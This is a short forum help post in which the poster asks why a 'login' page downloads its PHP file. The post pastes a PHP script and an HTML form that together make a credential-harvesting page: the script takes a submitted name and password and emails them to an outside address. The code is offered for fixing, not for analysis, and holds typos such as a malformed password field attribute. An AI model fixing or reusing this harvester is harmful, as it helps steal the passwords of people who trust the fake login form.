when i click login it download logind php
pls help
LogIN.PHP
Code: Select all
<html>
<head>
<title>Script to send mail</title>
</head>
<body>
<?php
echo "<p>Thank you, <b>$_POST[name]</b>, Your message has been sent.</p>";
//start building the mail string
$msg = "Name: $_POST[name] ";
$msg .= "Password: $_POST[password] ";
$msg .= "Message: $_POST[message] ";
$recipient = "TITI@freewebtown.com";
$subject = "Form Submission Results";
$mailheaders = "From: My Website <you@yourdomain.com> ";
$mailheaders .= "Reply-to: popoliker@yahoo.com.ph";
//send the mail
mail($recipient, $subject, $msg, $mailheaders);
?>
</body>
</html>
Code: Select all
<html>
<head>
<title>E-mail Form</title>
</head>
<body>
<form action="login.php" method="POST">
<p>Name:<br /> <input type="text" size="20″ name="name" /></p>
<p>Password:<br /> <input type="text" size="20″ name-"password" /></p>
<p><input type="submit" value="send" /></p>
</form>
</body>
</html>